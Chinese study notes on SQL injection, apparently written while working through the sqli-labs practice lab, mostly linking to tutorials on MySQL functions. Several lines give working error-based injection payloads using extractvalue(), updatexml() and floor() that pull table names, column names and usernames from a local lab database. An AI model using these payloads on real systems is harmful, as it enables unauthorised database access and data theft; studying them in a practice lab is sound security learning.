从0到1完全掌握 SQL 注入 | Drunkbaby’s Blog (drun1baby.top)

information schema

mysql中information_schema说明 - 程序员大本营 (pianshen.com)

image-20231020172620307

image-20231020172716074

image-20231020172740361

image-20231020172751913

information_schema.columns字段说明,获取数据库表所有列信息-CSDN博客

mysql中的连接函数

详解MySQL中CONCAT()函数的用法(链接字符串)_mysql concat-CSDN博客

SQL学习笔记——limit用法(limit使用一个参数,limit使用两个参数)_limit参数-CSDN博客

SUBSTR()、Ascii()

MySQL|SUBSTR() 函数用法 - 知乎 (zhihu.com)

SQL Server Ascii()函数 - SQL Server教程 (yiibai.com)

extractvalue()、updatexml()、floor()报错注入

sql注入中报错注入函数extractvalue和updatexml函数的原理及使用-CSDN博客

【精选】SQL报错型注入原理-详细讲解 extractvalue()、updatexml()、floor() 的报错原因-CSDN博客

如果extractvalue()爆出的字段数不够,在条件中加入not来去除已经查询到的数据,然后显示未查询到的

such as:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --

extractvalue()第二个参数似乎只能注入concat()(-笔者目前所知),但是concat()的参数可以嵌套group_concat():

127.0.0.1/Less-5/?id=1'%20 union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

也可已使用用substring()函数截取

select (extractvalue(1,concat(0x7e,substring(hex((select database())),1,32))));

经过测试,updatexml()也是可以和上面这样的嵌套

http://127.0.0.1/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users%20where%20username%20not%20in%20(%22Angelina%22,%22Dummy%22,%22secure,stup%22)),0x7e),1)%20--+

同样的情况下,应该可以使用floor()(但是根据上方博客的测试内容,rand()产生的伪随机数列011011001,需要运行到第三次产生异常导致报错,所以笔者预估需要数据库中至少三个数据才能使用floor()报错注入):

“select * from users where id=‘1’ and ( select 1 from ( select count(),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )2 ) ) x from information_schema.schemata group by x ) b ) --+ ’ LIMIT 0,1”

left()、right()

SQL中常用的字符串LEFT函数和RIGHT函数详解_数据库left_Java架构狮的博客-CSDN博客

limit和offset

MYSQL|limit和offset用法 - 知乎 (zhihu.com)

outfile

MySQL讲义第 36 讲——select 查询之 INTO OUTFILE参数_select into outfile-CSDN博客

注释

SQL注入中,注释#、 –+、 –%20、 %23到底是什么意思?sqli-labs-master-CSDN博客

在get请求中使用--+而在post请求中使用#